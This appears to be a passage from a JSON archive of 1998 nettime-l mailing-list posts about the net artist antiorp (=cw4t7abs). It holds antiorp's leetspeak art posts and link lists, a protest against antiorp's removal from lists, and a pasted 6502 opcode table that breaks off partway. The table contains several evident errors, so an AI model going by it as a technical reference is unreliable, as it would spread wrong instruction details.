.00\n\nhttp://194.19.130.194/spCa/filez/kr0p3r0m-a9ff_trk-38.0.5.mp3\nhttp://194.19.130.194/spCa/filez/kr0p3r0m_-a9ff_midi-t3kxt.mp3\nhttp://194.19.130.194/spCa/filez/kr0p3r0m_a9ff.trk97+.mp3\nhttp://194.19.130.194/spCa/filez/krop3rom_a9ff-humanzsukc.mp3\nhttp://194.19.130.194/spCa/filez/krop3rom_a9ff_trk47.mp3\nhttp://194.19.130.194/spCa/filez/krop3rom_hiv-sekuensz.mp3\nhttp://194.19.130.194/spCa/filez/ppc.71oo.8o_rom.data.mp3\nhttp://194.19.130.194/=cw4t7abs/=cw4t7abs.mp3\n\nkurrent krop3rom || a9ff v.0+2 offer - anti decibel rekords\nhttp://www.god-emil.dk/=cw4t7abs/0f0003/ztpd/0009.html\n\ntezcat.com/~antiorp/punkt-||_protokol.html\nhttp://194.19.130.194/spCa/zweite\nhttp://tezcat.com/~antiorp/index3.html\nhttp://194.19.130.194/=cw4t7abs/=cw4t7abs.mp3\n\nhttp://order.kagi.com/?3wj\nhttp://www.god-emil.dk/=cw4t7abs/0f0003/ztpd/lakk.shtml\n\n\n\n>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c>-------------------+++++------\n>:::::::::::::::::::::::::::::::::_____________\n>\n>e t c\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Fri, 18 Sep 1998 18:48:02 -0500 (CDT)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809190211.DAA21931 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00071.html",
                "list": "nettime_l",
                "author_name": "=cw4t7abs",
                "subject": "<nettime> =cw4t7abs 0+2 || !nter.bzzp"
            },
            {
                "content-type": "text/plai",
                "from": "antiorp {AT} tezcat.com (=cw4t7abs)",
                "id": "00005",
                "content": "\n>Newmedia {AT} aol.com\n\nslave\n\n>Folks:\n\nslave\n\n>What does the Internet do *to* us?\n\nslave\n\n>The medium *is* the message, afterall.\n>Media change us, right?  Well, how does the Internet change us?  Really?\n\nslave\n\n>Dr. Robert Kraut is apparently one of the few social psychologists\n>focussed on Internet issues.\n\nslave\n\n> He's at Carnegie Mellon in Pittsburgh\n>(longtime prime military research facility) and he had quite a few large\n>computer vendors signed up (like Intel, etc.) to fund the first major\n>study to gauge the social impact of Internet usage.  He promised his\n>sponsors that he would answer these questions and find out what was\n>happening.\n>\n>The first phase of the study is out.\n\nslave\n\n\n>  It's just what you would expect,\n\nslave\n\n>Internet users are, naturally, \"depressed.\"\n\nslave\n\n>  It was front page NYTimes\n\nslave\n\n>yesterday (\"Sad, Lonely World Discovered in Cyberspace\", Amy Harmon).  He\n>was on CNN this morning.\n\nslave\n\n\n>Dr. Kraut is suddenly a star.\n\n\nslave\n\n>Many more studies\n>will be funded.  Whoppee!!\n\nslave +_ slave + slave + slave\n\njuzt\nl!ke u\n_+ u _+ u _+ u _+ u\n\n>I saw this one coming.\n\n& u will be funded.\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Wed, 02 Sep 1998 15:09:28 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809021615.RAA32184 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00005.html",
                "list": "nettime_l",
                "author_name": "=cw4t7abs",
                "subject": "<nettime> Re: <tentime> So, Reality is Really \"Depressing\", hEh?"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "content": "\nThis mail is a protest against the removal of antiorp from the three\nmailinglists this mail is going to. At the same time it is a contemplation\nof what these lists mean to me and maybe to others. What is it, that\npeople get so uptight over having to delete mails. I am sure they delete\nmost of the other postings too without ever reading them. Do we have the\nlists we have like we have 'the right newspaper' or magazine? Just to give\nourselves the idea we are on the right track, because at least we know the\nheaders of the latest thread that was produced by some people that know\nwhat is best for us?\n\nThe problem is complex because it has been lying around for too long. The\nproblem is that we never really talk about the tool and manner we chose to\ncommunicate with. Nettime listowners once said: it is not useful to\ndiscuss the list on the list. Why is it not useful? Is it useful to let a\nlist bleed to death, miss loads of chances to enhance a discussion and\nmiss chances to understand better what we are doing?\n\nThe three lists are very different, but all seem to have the pretention to\nbe some sort of community that is heading for the best there is to offer\nin the particular subject it is dedicated to. The lists are supposed to be\ncritical and in search of new paths that fit with the medium it is\nsituated in. I think throwing someone like antiorp off is not going to\nhelp with this. I was in favor of throwing people off in the past, for\ndifferent reasons, but I think now this is wrong. It narrows the scope of\nthe list in an unexceptable way.\n\nTake for example the reason why nettime moderation started: the namespace\ndebate became so faul that people told others to \"go in the corner and\npiss on themselves\". Was the person who wrote this removed? No. He is a\nfriend who just lost control for a moment. Another example: on xchange a\nguy hangs out who has been seriously harrassing me in real life, and who\nhas been making problems in Linz for someone else, a real life sucker. Is\nhe removed? No. He is a friend who lost control for some moments. All\nfine. But to remove a dilletant, one of the few, if not the only,\nlistpunks, because of a different way of communicating sucks. Especially\nas this person obviously is very young, and on top of that, knows the\nmedium very well. From corresponding with it I know it certainly has more\nlayers then simply cursing and insulting. I will include a mail from\nanother list about this, which I liked a lot, and which has respect for\nantiorp.\n\nWhat can you see reading some of the discussions that happened on other\nlists where antiorp got into trouble? First of all, there are many\ndicussions about the yes or no of throwing someone off. This is the first\nthing that bothers me: it never happened on either nettime, xchange or\nrhizome. I would not be surprised if people did not even know it was going\non. Moderators on all three lists seem to work from the rumor that \"this\nperson has been causing problems everywhere, so let's throw him off\nimmediately\". Then on the other lists people acknowledge antiorps\n'occasional' intelligent and mindstirring comments, and most of all its\nexcellent code writing, especially with soundsoftware. But the most\nimportant thing one notices is the extremely bourgois posts of people who\neven admit never to post, but who now -have- to say how relieved they are\nantiorp is gone. I do not want to be part of this attitude, of this\nnarrowminded, clean designer office crowd. (no offence meant to openminded\npeople in clean designer offices).\n\nI have been very displeased when the moderation button went on on nettime.\nAs I have written allready, I want an open list. It is ridiculous that\nafter a year (!) of moderation now the listowners have still not been able\nto find a solution for this problem. There have been several discussions,\nboth in email and 'real life', in which the listowners themselves proposed\nexperiments with an open list and a digest, maybe even a usenet group. The\nfact that the majority of listmembers are lurkers who prefer their dinner\nchewed, does not mean that the magazine/editor format is the most suitable\nfor what we want. But then of course: what do we want? I wonder about that\na lot lately. Net.criticism, mediatheory, cyberfeminism, net.radio: in\nwhat way is the discussion around these topics dominated by people in\npowerful positions outside the net, who have built their careers on new\nmedia research? Why not let more radical, new blood in?\n\nI admit: there is probably no medium that has offered more to its\n'audience' to participate then the net and its mailinglists. I seriously\ndoubt the way they are developing now though. Spin offs of nettime like\nxchange and rhizome (yes) are gradually copying the way nettime is\ndeveloping. I was very surprised to hear about Rhizome throwing of\nantiorp, as I know Rachel Green is in for experiments and letting the list\ndevelop in its way. She likes the noise on R-raw, and has even in the past\nmade me like it too. With xchange, the youngest, it seems even more sad:\nthere are rarely more posts there then announcements of web.casts, and\nwhen xchange was invited for Ars Electronica the preparation for this went\noff list completely, in the hands of a few. This far even nettime never\nwent. xchange owners are a bit too gentle in some ways and very hard in\nothers. Lack of experience? Too busy? While I think antiorp fits best\nthere! I am not saying all the people behind this are fascists (antiorp\nwould say that for sure), it seems more like a lack of good discussion and\nopenness. This lack came to be because of the incredible speed careers\nhave been taking off in the fields of mediatheory, art on the net and\nnet.radio. There seems to be some kind of panic reaction coming from it,\nthe fear to loose control. This seems the main reason why people react so\nfast and hard to antiorp. It is a human reaction, and \"humansukz\". I like\nantiorp. I feel like that too often.\n\nIt might be good for both us and antiorp to live in peace. Why throw away\nsuch a talent and keep so much overestimated academic bullshit? (no\noffence meant to all relevant academic texts)\n\nregards\n\nJ\n\n\n--from MAX Digest\n\nDate:    Wed, 7 Oct 1998 18:23:29 +0000\nFrom:    Carlton Joseph Wilkinson\nSubject: Antiorp, since you brought it up\n\nIt's your list, friend, you do whatever you want with it, but I for one\nfind your actions a helluva lot more offensive than his. I would have\nspoken up sooner, but I had no idea this was even under debate. \n\nI'll give you and the members of the list four points to consider, ranked\nas to how important I think they are. Having done this, I will drop the\nsubject, at least for now. \n\n1. He has earned my respect and continues to earn my respect by not caving\ninto shallow, routine standards like those you are trying to apply here\nand by continuing to be exactly who is. If he had said, or if he ever\nsays, \"I'm sorry, I'll try to keep my posts on the subject from now on\" --\nmy respect for him would vanish. Worse, with that one cave-in he'ld have\nshown us that the antiorp we all knew up to then had all been nothing but\na disposible shtick. My sense is it isn't a shtick. It is a deliberate\nchoice to live a worthwhile life based on firm principles. It's a culture\nof choice, like a religion, that he can't back away from without losing\nhimself. In that choice, he risks ( and knows it) the rejection that you\njust handed him. \n\n2. Antiorp's ideas are only ideas, they're not bombs, they're not\nfurniture he's asking you to store. They're ideas that you can ignore if\nyou want or ponder if you want or argue with or about if you want. They\nare ideas that stem directly from the conversations on this list and\ntherefore are relevant to this list. \n\n3. You imply that you've given him every opportunity to participate. But\nyou haven't. You've given him every opportunity to conform--which on\nprinciple he can't do. His participation requires his voice, and his\nthorny, difficult speech and confrontational, sometimes derisive style. \n\n4. It seems right, what you've done, but it's not right. The illusion of\nrightness is you hiding behind a common, thoughtless acceptance of\nstandards of how a community should operate in its own best interests. But\nI tell you, order is not always in a community's best interests. Let's say\nthat again: Order is not always in a community's best interests. The\ndiscourse needs to be preserved--we need to be challenged on our basic\nassumptions, not in some \"appropriate,\" rarified philosophical forum, but\nwhere and as differences occur. \n\n--Carlton Joseph Wilkinson\n\n\"If this is the case, and you cannot respect the majority of people's\nwishes, I shall have to ask you to leave.\" --Christopher Murtagh\n\n\"reszpekt = bas!s ov ras!zm. fasc!zm. kap!tal!zm\"--=cw4t7abs\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "id": "00044",
                "date": "Fri, 9 Oct 1998 11:39:07 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199810091419.PAA06989 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00044.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> gated communities"
            },
            {
                "content-type": "text/plai",
                "from": "elinda <melinda {AT} subtle.net>",
                "id": "00070",
                "content": "\n>so, has antiorp passed the turing test?\n\nits amuzing how such simple scripting can annoy so many\nfascinating .......and the territorial reactions even more so.\n\npro_orp\n\nmr\n\nmelinda  joergensen\n   www.subtle.net\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Mon, 12 Oct 1998 18:19:03 +1000",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199810121640.RAA04528 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00070.html",
                "list": "nettime_l",
                "author_name": "melinda",
                "subject": "Re: <nettime> re: gated communities"
            },
            {
                "content-type": "text/plai",
                "from": "nettime's_digestive_system {AT} basis.Desk.nl",
                "content": "\nDate: Tue, 18 Aug 1998 12:53:10 -0600\nTo: nettime-l {AT} Desk.nl\nFrom: antiorp {AT} tezcat.com (=cw4t7abs)\n\nLast Trade:\n                         44 1/8\n          Net Change:\n                          2\n          Bid:\n                         44 1/8\n          Ask:\n                         44 3/16\n          Day High:\n                         44 7/8\n          Day Low:\n                         42 1/8\n          Volume:\n                         1240400\n          Yesterday:\n                         42 1/8\n          Last Quote Time:\n                         13:35\n          Last Quote Date:\n                         08/18/1998\n\n                                                 Annual Dividend/Share:\n                                                                     0\n                                                 Dividend Amount:\n                                                                     0.000\n                                                 Bid Size:\n                                                                     5\n                                                 Ask Size:\n                                                                     3\n                                                 52 Week High:\n                                                                     55 1/2\n                                                 52 Week Low:\n                                                                     7 1/8\n                                                 Current Yield:\n                                                                     0.00\n                                                 EPS:\n                                                                     -1.42\n                                                 P/E Ratio:\n                                                                     N/A\n\n\n\n\n\n                                            Symbol Help\n\n\nb!nar+e to!z == m9ndfukc++\n\n\n\n\n\nhttp://194.19.130.194/=cw4t7abs/0f0003/ztpd/=cw4t7abs.3nkod0r..0+2.html\n\n2-----------------------\n\n\nDate: Tue, 18 Aug 1998 08:30:30 -0600\nTo: nettime-l {AT} Desk.nl\nFrom: antiorp {AT} tezcat.com (=cw4t7abs)\nSubject:    $22       [locks up machine]         (Implied)        1/-\nRLA      $23       M <- (M << 1) /\\ (A)       (Ind,X)          2/8\t*\nBIT      $24       Z <- ~(A /\\ M) N<-M7 V<-M6\n\n>where are u from?\n\nwe !n dze eazt =3D dze future. future ov dze wezt.\n\n\n\n\n\nStd Mnemonic Hex Value Description                Addressing Mode  Bytes/Tim=\ne\n*   BRK      $00       Stack <- PC, PC <- ($fffe) (Immediate)      1/7\n*   ORA      $01       A <- (A) V M               (Ind,X)          6/2\n    JAM      $02       [locks up machine]         (Implied)        1/-\n    SLO      $03       M <- (M >> 1) + A + C      (Ind,X)          2/8\n    NOP      $04       [no operation]             (Z-Page)         2/3\n*   ORA      $05       A <- (A) V M               (Z-Page)         2/3\n*   ASL      $06       C <- A7, A <- (A) << 1     (Z-Page)         2/5\n    SLO      $07       M <- (M >> 1) + A + C      (Z-Page)         2/5\n*   PHP      $08       Stack <- (P)               (Implied)        1/3\n*   ORA      $09       A <- (A) V M               (Immediate)      2/2\n*   ASL      $0A       C <- A7, A <- (A) << 1     (Accumalator)    1/2\n    ANC      $0B       A <- A /\\ M, C=3D~A7         (Immediate)      1/2\n    NOP      $0C       [no operation]             (Absolute)       3/4\n*   ORA      $0D       A <- (A) V M               (Absolute)       3/4\n*   ASL      $0E       C <- A7, A <- (A) << 1     (Absolute)       3/6\n    SLO      $0F       M <- (M >> 1) + A + C      (Absolute)       3/6\n*   BPL      $10       if N=3D0, PC =3D PC + offset   (Relative)       2/2'2\n*   ORA      $11       A <- (A) V M               ((Ind),Y)        2/5'1\n    JAM      $12       [locks up machine]         (Implied)        1/-\n    SLO      $13       M <- (M >. 1) + A + C      ((Ind),Y)        2/8'5\n    NOP      $14       [no operation]             (Z-Page,X)       2/4\n*   ORA      $15       A <- (A) V M               (Z-Page,X)       2/4\n*   ASL      $16       C <- A7, A <- (A) << 1     (Z-Page,X)       2/6\n    SLO      $17       M <- (M >> 1) + A + C      (Z-Page,X)       2/6\n*   CLC      $18       C <- 0                     (Implied)        1/2\n*   ORA      $19       A <- (A) V M               (Absolute,Y)     3/4'1\n    NOP      $1A       [no operation]             (Implied)        1/2\n    SLO      $1B       M <- (M >> 1) + A + C      (Absolute,Y)     3/7\n    NOP      $1C       [no operation]             (Absolute,X)     2/4'1\n*   ORA      $1D       A <- (A) V M               (Absolute,X)     3/4'1\n*   ASL      $1E       C <- A7, A <- (A) << 1     (Absolute,X)     3/7\n    SLO      $1F       M <- (M >> 1) + A + C      (Absolute,X)     3/7\n*   JSR      $20       Stack <- PC, PC <- Address (Absolute)       3/6\n*   AND      $21       A <- (A) /\\ M              (Ind,X)          2/6\n    JAM      $22       [locks up machine]         (Implied)        1/-\n    RLA      $23       M <- (M << 1) /\\ (A)       (Ind,X)          2/8\n*   BIT      $24       Z <- ~(A /\\ M) N<-M7 V<-M6 (Z-Page)         2/3\n*   AND      $25       A <- (A) /\\ M              (Z-Page)         2/3\n*   ROL      $26       C <- A7 & A <- A << 1 + C  (Z-Page)         2/5\n    RLA      $27       M <- (M << 1) /\\ (A)       (Z-Page)         2/5'5\n*   PLP      $28       A <- (Stack)               (Implied)        1/4\n*   AND      $29       A <- (A) /\\ M              (Immediate)      2/2\n*   ROL      $2A       C <- A7 & A <- A << 1 + C  (Accumalator)    1/2\n    ANC      $2B       A <- A /\\ M, C <- ~A7      (Immediate9      1/2\n*   BIT      $2C       Z <- ~(A /\\ M) N<-M7 V<-M6 (Absolute)       3/4\n*   AND      $2D       A <- (A) /\\ M              (Absolute)       3/4\n*   ROL      $2E       C <- A7 & A <- A << 1 + C  (Absolute)       3/6\n    RLA      $2F       M <- (M << 1) /\\ (A)       (Absolute)       3/6'5\n*   BMI      $30       if N=3D1, PC =3D PC + offset   (Relative)       2/2'2\n*   AND      $31       A <- (A) /\\ M              ((Ind),Y)        2/5'1\n    JAM      $32       [locks up machine]         (Implied)        1/-\n    RLA      $33       M <- (M << 1) /\\ (A)       ((Ind),Y)        2/8'5\n    NOP      $34       [no operation]             (Z-Page,X)       2/4\n*   AND      $35       A <- (A) /\\ M              (Z-Page,X)       2/4\n*   ROL      $36       C <- A7 & A <- A << 1 + C  (Z-Page,X)       2/6\n    RLA      $37       M <- (M << 1) /\\ (A)       (Z-Page,X)       2/6'5\n*   SEC      $38       C <- 1                     (Implied)        1/2\n*   AND      $39       A <- (A) /\\ M              (Absolute,Y)     3/4'1\n    NOP      $3A       [no operation]             (Implied)        1/2\n    RLA      $3B       M <- (M << 1) /\\ (A)       (Absolute,Y)     3/7'5\n    NOP      $3C       [no operation]             (Absolute,X)     3/4'1\n*   AND      $3D       A <- (A) /\\ M              (Absolute,X)     3/4'1\n*   ROL      $3E       C <- A7 & A <- A << 1 + C  (Absolute,X)     3/7\n    RLA      $3F       M <- (M << 1) /\\ (A)       (Absolute,X)     3/7'5\n*   RTI      $40       P <- (Stack), PC <-(Stack) (Implied)        1/6\n*   EOR      $41       A <- (A) \\-/ M             (Ind,X)          2/6\n    JAM      $42       [locks up machine]         (Implied)        1/-\n    SRE      $43       M <- (M >> 1) \\-/ A        (Ind,X)          2/8\n    NOP      $44       [no operation]             (Z-Page)         2/3\n*   EOR      $45       A <- (A) \\-/ M             (Z-Page)         2/3\n*   LSR      $46       C <- A0, A <- (A) >> 1     (Absolute,X)     3/7\n    SRE      $47       M <- (M >> 1) \\-/ A        (Z-Page)         2/5\n*   PHA      $48       Stack <- (A)               (Implied)        1/3\n*   EOR      $49       A <- (A) \\-/ M             (Immediate)      2/2\n*   LSR      $4A       C <- A0, A <- (A) >> 1     (Accumalator)    1/2\n    ASR      $4B       A <- [(A /\\ M) >> 1]       (Immediate)      1/2\n*   JMP      $4C       PC <- Address              (Absolute)       3/3\n*   EOR      $4D       A <- (A) \\-/ M             (Absolute)       3/4\n*   LSR      $4E       C <- A0, A <- (A) >> 1     (Absolute)       3/6\n    SRE      $4F       M <- (M >> 1) \\-/ A        (Absolute)       3/6\n*   BVC      $50       if V=3D0, PC =3D PC + offset   (Relative)       2/2'2\n*   EOR      $51       A <- (A) \\-/ M             ((Ind),Y)        2/5'1\n    JAM      $52       [locks up machine]         (Implied)        1/-\n    SRE      $53       M <- (M >> 1) \\-/ A        ((Ind),Y)        2/8\n    NOP      $54       [no operation]             (Z-Page,X)       2/4\n*   EOR      $55       A <- (A) \\-/ M             (Z-Page,X)       2/4\n*   LSR      $56       C <- A0, A <- (A) >> 1     (Z-Page,X)       2/6\n    SRE      $57       M <- (M >> 1) \\-/ A        (Z-Page,X)       2/6\n*   CLI      $58       I <- 0                     (Implied)        1/2\n*   EOR      $59       A <- (A) \\-/ M             (Absolute,Y)     3/4'1\n    NOP      $5A       [no operation]             (Implied)        1/2\n    SRE      $5B       M <- (M >> 1) \\-/ A        (Absolute,Y)     3/7\n    NOP      $5C       [no operation]             (Absolute,X)     3/4'1\n*   EOR      $5D       A <- (A) \\-/ M             (Absolute,X)     3/4'1\n    SRE      $5F       M <- (M >> 1) \\-/ A        (Absolute,X)     3/7\n*   RTS      $60       PC <- (Stack)              (Implied)        1/6\n*   ADC      $61       A <- (A) + M + C           (Ind,X)          2/6\n    JAM      $62       [locks up machine]         (Implied)        1/-\n    RRA      $63       M <- (M >> 1) + (A) + C    (Ind,X)          2/8'5\n    NOP      $64       [no operation]             (Z-Page)         2/3\n*   ADC      $65       A <- (A) + M + C           (Z-Page)         2/3\n*   ROR      $66       C<-A0 & A<- (A7=3DC + A>>1)  (Z-Page)         2/5\n    RRA      $67       M <- (M >> 1) + (A) + C    (Z-Page)         2/5'5\n*   PLA      $68       A <- (Stack)               (Implied)        1/4\n*   ADC      $69       A <- (A) + M + C           (Immediate)      2/2\n*   ROR      $6A       C<-A0 & A<- (A7=3DC + A>>1)  (Accumalator)    1/2\n    ARR      $6B       A <- [(A /\\ M) >> 1]       (Immediate)      1/2'5\n*   JMP      $6C       PC <- Address              (Indirect)       3/5\n*   ADC      $6D       A <- (A) + M + C           (Absolute)       3/4\n*   ROR      $6E       C<-A0 & A<- (A7=3DC + A>>1)  (Absolute)       3/6\n    RRA      $6F       M <- (M >> 1) + (A) + C    (Absolute)       3/6'5\n*   BVS      $70       if V=3D1, PC =3D PC + offset   (Relative)       2/2'2\n*   ADC      $71       A <- (A) + M + C           ((Ind),Y)        2/5'1\n    JAM      $72       [locks up machine]         (Implied)        1/-\n    RRA      $73       M <- (M >> 1) + (A) + C    ((Ind),Y)        2/8'5\n    NOP      $74       [no operation]             (Z-Page,X)       2/4\n*   ADC      $75       A <- (A) + M + C           (Z-Page,X)       2/4\n*   ROR      $76       C<-A0 & A<- (A7=3DC + A>>1)  (Z-Page,X)       2/6\n    RRA      $77       M <- (M >> 1) + (A) + C    (Z-Page,X)       2/6'5\n*   SEI      $78       I <- 1                     (Implied)        1/2\n*   ADC      $79       A <- (A) + M + C           (Absolute,Y)     3/4'1\n    NOP      $7A       [no operation]             (Implied)        1/2\n    RRA      $7B       M <- (M >> 1) + (A) + C    (Absolute,Y)     3/7'5\n    NOP      $7C       [no operation]             (Absolute,X)     3/4'1\n*   ADC      $7D       A <- (A) + M + C           (Absolute,X)     3/4'1\n*   ROR      $7E       C<-A0 & A<- (A7=3DC + A>>1)  (Absolute,X)     3/7\n    RRA      $7F       M <- (M >> 1) + (A) + C    (Absolute,X)     3/7'5\n    NOP      $80       [no operation]             (Immediate)      2/2\n*   STA      $81       M <- (A)                   (Ind,X)          2/6\n    NOP      $82       [no operation]             (Immediate)      2/2\n    SAX      $83       M <- (A) /\\ (X)            (Ind,X)          2/6\n*   STY      $84       M <- (Y)                   (Z-Page)         2/3\n*   STA      $85       M <- (A)                   (Z-Page)         2/3\n*   STX      $86       M <- (X)                   (Z-Page)         2/3\n    SAX      $87       M <- (A) /\\ (X)            (Z-Page)         2/3\n*   DEY      $88       Y <- (Y) - 1               (Implied)        1/2\n    NOP      $89       [no operation]             (Immediate)      2/2\n*   TXA      $8A       A <- (X)                   (Implied)        1/2\n    ANE      $8B       M <-[(A)\\/$EE] /\\ (X)/\\(M) (Immediate)      2/2^4\n*   STY      $8C       M <- (Y)                   (Absolute)       3/4\n*   STA      $8D       M <- (A)                   (Absolute)       3/4\n*   STX      $8E       M <- (X)                   (Absolute)       3/4\n    SAX      $8F       M <- (A) /\\ (X)            (Absolute)       3/4\n*   BCC      $90       if C=3D0, PC =3D PC + offset   (Relative)       2/2'2\n*   STA      $91       M <- (A)                   ((Ind),Y)        2/6\n    JAM      $92       [locks up machine]         (Implied)        1/-\n    SHA      $93       M <- (A) /\\ (X) /\\ (PCH+1) (Absolute,X)     3/6'3\n*   STY      $94       M <- (Y)                   (Z-Page,X)       2/4\n*   STA      $95       M <- (A)                   (Z-Page,X)       2/4\n    SAX      $97       M <- (A) /\\ (X)            (Z-Page,Y)       2/4\n*   STX      $96       M <- (X)                   (Z-Page,Y)       2/4\n*   TYA      $98       A <- (Y)                   (Implied)        1/2\n*   STA      $99       M <- (A)                   (Absolute,Y)     3/5\n*   TXS      $9A       S <- (X)                   (Implied)        1/2\n    SHS      $9B       X <- (A) /\\ (X), S <- (X)  (Absolute,Y)     3/5\n                       M <- (X) /\\ (PCH+1)\n    SHY      $9C       M <- (Y) /\\ (PCH+1)        (Absolute,Y)     3/5'3\n*   STA      $9D       M <- (A)                   (Absolute,X)     3/5\n    SHX      $9E       M <- (X) /\\ (PCH+1)        (Absolute,X)     3/5'3\n    SHA      $9F       M <- (A) /\\ (X) /\\ (PCH+1) (Absolute,Y)     3/5'3\n*   LDY      $A0       Y <- M                     (Immediate)      2/2\n*   LDA      $A1       A <- M                     (Ind,X)          2/6\n*   LDX      $A2       X <- M                     (Immediate)      2/2\n    LAX      $A3       A <- M, X <- M             (Ind,X)          2/6\n*   LDY      $A4       Y <- M                     (Z-Page)         2/3\n*   LDA      $A5       A <- M                     (Z-Page)         2/3\n*   LDX      $A6       X <- M                     (Z-Page)         2/3\n    LAX      $A7       A <- M, X <- M             (Z-Page)         2/3\n*   TAY      $A8       Y <- (A)                   (Implied)        1/2\n*   LDA      $A9       A <- M                     (Immediate)      2/2\n*   TAX      $AA       X <- (A)                   (Implied)        1/2\n    LXA      $AB       X04 <- (X04) /\\ M04        (Immediate)      1/2\n                       A04 <- (A04) /\\ M04\n*   LDY      $AC       Y <- M                     (Absolute)       3/4\n*   LDA      $AD       A <- M                     (Absolute)       3/4\n*   LDX      $AE       X <- M                     (Absolute)       3/4\n    LAX      $AF       A <- M, X <- M             (Absolute)       3/4\n*   BCS      $B0       if C=3D1, PC =3D PC + offset   (Relative)       2/2'2\n*   LDA      $B1       A <- M                     ((Ind),Y)        2/5'1\n    JAM      $B2       [locks up machine]         (Implied)        1/-\n    LAX      $B3       A <- M, X <- M             ((Ind),Y)        2/5'1\n*   LDY      $B4       Y <- M                     (Z-Page,X)       2/4\n*   LDA      $B5       A <- M                     (Z-Page,X)       2/4\n*   LDX      $B6       X <- M                     (Z-Page,Y)       2/4\n    LAX      $B7       A <- M, X <- M             (Z-Page,Y)       2/4\n*   CLV      $B8       V <- 0                     (Implied)        1/2\n*   LDA      $B9       A <- M                     (Absolute,Y)     3/4'1\n*   TSX      $BA       X <- (S)                   (Implied)        1/2\n    LAE      $BB       X,S,A <- (S /\\ M)          (Absolute,Y)     3/4'1\n*   LDY      $BC       Y <- M                     (Absolute,X)     3/4'1\n*   LDA      $BD       A <- M                     (Absolute,X)     3/4'1\n*   LDX      $BE       X <- M                     (Absolute,Y)     3/4'1\n    LAX      $BF       A <- M, X <- M             (Absolute,Y)     3/4'1\n*   CPY      $C0       (Y - M) -> NZC             (Immediate)      2/2\n*   CMP      $C1       (A - M) -> NZC             (Ind,X)          2/6\n    NOP      $C2       [no operation]             (Immediate)      2/2\n    DCP      $C3       M <- (M)-1, (A-M) -> NZC   (Ind,X)          2/8\n*   CPY      $C4       (Y - M) -> NZC             (Z-Page)         2/3\n*   CMP      $C5       (A - M) -> NZC             (Z-Page)         2/3\n*   DEC      $C6       M <- (M) - 1               (Z-Page)         2/5\n    DCP      $C7       M <- (M)-1, (A-M) -> NZC   (Z-Page)         2/5\n*   INY      $C8       Y <- (Y) + 1               (Implied)        1/2\n*   CMP      $C9       (A - M) -> NZC             (Immediate)      2/2\n*   DEX      $CA       X <- (X) - 1               (Implied)        1/2\n    SBX      $CB       X <- (X)/\\(A) - M          (Immediate)      2/2\n*   CPY      $CC       (Y - M) -> NZC             (Absolute)       3/4\n*   CMP      $CD       (A - M) -> NZC             (Absolute)       3/4\n*   DEC      $CE       M <- (M) - 1               (Absolute)       3/6\n    DCP      $CF       M <- (M)-1, (A-M) -> NZC   (Absolute)       3/6\n*   BNE      $D0       if Z=3D0, PC =3D PC + offset   (Relative)       2/2'2\n*   CMP      $D1       (A - M) -> NZC             ((Ind),Y)        2/5'1\n    JAM      $D2       [locks up machine]         (Implied)        1/-\n    DCP      $D3       M <- (M)-1, (A-M) -> NZC   ((Ind),Y)        2/8\n    NOP      $D4       [no operation]             (Z-Page,X)       2/4\n*   CMP      $D5       (A - M) -> NZC             (Z-Page,X)       2/4\n*   DEC      $D6       M <- (M) - 1               (Z-Page,X)       2/6\n    DCP      $D7       M <- (M)-1, (A-M) -> NZC   (Z-Page,X)       2/6\n*   CLD      $D8       D <- 0                     (Implied)        1/2\n*   CMP      $D9       (A - M) -> NZC             (Absolute,Y)     3/4'1\n    NOP      $DA       [no operation]             (Implied)        1/2\n    DCP      $DB       M <- (M)-1, (A-M) -> NZC   